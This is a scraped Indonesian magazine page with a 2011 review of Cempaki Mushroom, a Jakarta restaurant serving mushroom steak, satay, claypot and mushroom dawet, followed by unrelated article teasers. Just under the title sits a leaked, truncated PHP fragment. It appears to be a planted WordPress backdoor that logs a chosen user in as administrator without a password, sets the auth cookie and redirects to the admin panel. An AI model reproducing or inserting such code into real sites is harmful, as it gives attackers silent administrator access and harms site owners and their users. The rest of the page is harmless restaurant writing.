Menu Asyik Serba Jamur

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Food Review

21 Jul 2011

Ingin tahu apa jadinya jika jamur diracik dalam aneka hidangan? Temukan jawaban lezatnya di Cempaki Mushroom. Mulai dari shiitake khas Jepang, champignon (jamur kancing), sampai jamur es (istilah lokal untuk jamur bentuk bunga dan putih bernama snow fungus) menjadi andalan para koki di resto yang telah dibuka setahun belakangan ini.

Segala jamurnya diracik fresh pada saat tamu memesan. Sedikit lama, namun tergantikan saat suapan jamur pertama yang mak nyuss tiba di mulut. Apalagi jika Anda menikmati sepiring Mushroom Steak. Daging sapi ini diberi seiris jamur shiitake di atasnya. Rasa jamur shiitake yang telah tercampur dengan saus blackpepper menyumbang cita rasa tajam pada tekstur kenyal jamur.

Jika bersantap bersama putra-putri tercinta, coba satai jamur berlumur saus barbecue. Asam manis, tanpa rasa pedas yang mengganggu. Santap selagi hangat agar terasa aroma bakarnya.

Buat penggila jamur, bisa dimanjakan dengan Claypot Jamur. Perpaduan jamur shiitake, champignon, dan jamur merang dimasak menjadi satu dalam kuah mirip miso. Dengan sedikit kuah, dan begitu kuat aroma jamurnya.

Jangan heran, di sini juga tersedia es dawet campur jamur. Jamur kuping dan jamur es dipilih menjadi duet dawet berkat teksturnya yang lembut, tidak jauh berbeda dengan tekstur dawet. Hijaunya dawet, beningnya jamur es, dan hitamnya jamur kuping bagaikan jeli warna-warni. Yang belum paham dengan keluarga jamur-jamuran, akan sulit mengira bahwa minuman ini terbuat dari kompilasi jamur.

Resto dengan suasana rumahan ini juga menyusun hidangan buffet dengan harga ramah di kantong. Penawaran menggiurkan bagi yang ingin segera mencobanya weekend ini! (MI)

Alamat: Jl. Pangeran Antasari No. 50, Jakarta Selatan. Telp: ( 021) 7654724. Harga*): Rp 3.000- Rp 31. 500. Jam buka: 10.00- 22.00 WIB. Suasana: Menawarkan atmosfir hangat khas rumahan.

*) Harga dapat berubah sewaktu-waktu, cek sebelum bersantap.

Clean Cut Emporio Armani

Aksi Sosial SOPHIE

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id